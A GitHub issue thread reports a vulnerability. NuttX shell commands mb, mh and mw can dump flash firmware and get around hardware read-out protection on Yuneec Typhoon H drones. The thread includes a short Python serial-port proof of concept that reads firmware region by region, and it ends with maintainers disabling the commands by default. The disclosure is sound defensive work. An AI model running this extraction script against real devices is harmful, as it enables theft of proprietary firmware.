Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Nsh Debug Commands Vulnerability Report #17062

Closed
swkim101 opened this issue Mar 9, 2021 · 6 comments · Fixed by #17264
Closed

Nsh Debug Commands Vulnerability Report #17062

swkim101 opened this issue Mar 9, 2021 · 6 comments · Fixed by #17264
Assignees

Comments

@swkim101
Copy link

swkim101 commented Mar 9, 2021

Nsh's mb, mh, and mw commands can leak intellectual property.

Exploiting those commands makes it possible to extract firmware from the flash memory because mb, mh, and mw can read the firmware code at an arbitrary location.
You may know that some commercial vendors can customize their firmware without opening even binary code.
However, those commands can neutralize the intellectual protection scheme to prevent from reading binary firmware code.

We found this issue on Yuneec, a commercial drone vendor, which has sold multiple drone models such as Typhoon H.
This drone vendor has made efforts to protect its firmware from reading out, applying ST's hardware read protection to its drones.
Nevertheless, the mb 0x8000000 command naively prints Typhoon H's firmware binary code, bypassing the protection scheme.

PoC is as follows:

import serial
ser = serial.Serial(
   port='COM7',\
   baudrate=57600,\
   parity=serial.PARITY_NONE,\
   stopbits=serial.STOPBITS_ONE,\
   bytesize=serial.EIGHTBITS,\
   timeout=0)
f = open('output_db000.txt', 'wb')
for addr in range(0x080db000, 0x08200000, 0x1000):
   count = 0
   ser.write(b'mw ')
   ser.write(bytes(hex(addr), 'ascii'))
   ser.write(b' 1000\r\n')
   print(hex(addr))
   while True:
       line = ser.readline()
       f.write(line)
       #print(line)
   
       if(len(line) <= 5 and count != 0):
           break
       count += 1
f.close()

Only if possible, we believe the best way to prevent this vulnerability is to remove mb, mh, and mw commands.
If that is not allowed due to debugging purpose, we would like to suggest the following actions can help protect intellectual properties from this vulnerability:
(1) please add comments in the source code.
(2) please show warnings in compile messages.
(3) please disable those commands in the default configuration (CONFIG_NSH_DISABLE_MW=y)

@LorenzMeier
Copy link
Member

Once you have access to NSH you have the equivalent of root access to the system. If a manufacturer enables NSH access, they have already decided (implicitly or explicitly) to provide full access to the system, with all ramifications.

So I would argue that anyone enabling NSH in their build is ok with that and that the correct fix here is to disable NSH access altogether if you don't want that.

@swkim101
Copy link
Author

I think "mw"-like commands should be disabled or adequately inform of their potential threats.

It is true that giving NSH access to users provides full access to the system.
Yet, the intent of commercial vendor developers (e.g., Yuneec) is still to protect firmware from extraction because:
(1) They decided to use "readout" protection, making it impossible to read firmware even if using a debugger.
(2) They did not expose the command shell interface, such as UART

Nevertheless, such developers may not be aware that there is a detour to extract the firmware described in this issue post.
Even though developers enabled "readout" protection, their efforts are neutralized by "mw"-like command exploitation.
I believe noticing this security issue makes developers prevent the vulnerability.

For that reason, I would suggest that "mw"-like commands may be disabled at default (or should provide some warning messages for it).
If the developers need to use that, they may enable such commands explicitly.

@swkim101
Copy link
Author

@LorenzMeier, You can see that the Nuttx community has decided to disable the mw-like commands by default at the following link: apache/nuttx#3011

@dagar
Copy link
Member

dagar commented Mar 29, 2021

I'm not aware of typical users/developers actually using these on a regular basis, so I'd be fine with disabling them by default (saving a little bit of flash). I'll open a PR and give it a bit of time for any objections.

@dagar
Copy link
Member

dagar commented Mar 29, 2021

Pull request - #17264

@swkim101
Copy link
Author

swkim101 commented Apr 8, 2021

Acknowledgment: This vulnerability was found out by the following people (alphabetical order):

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

3 participants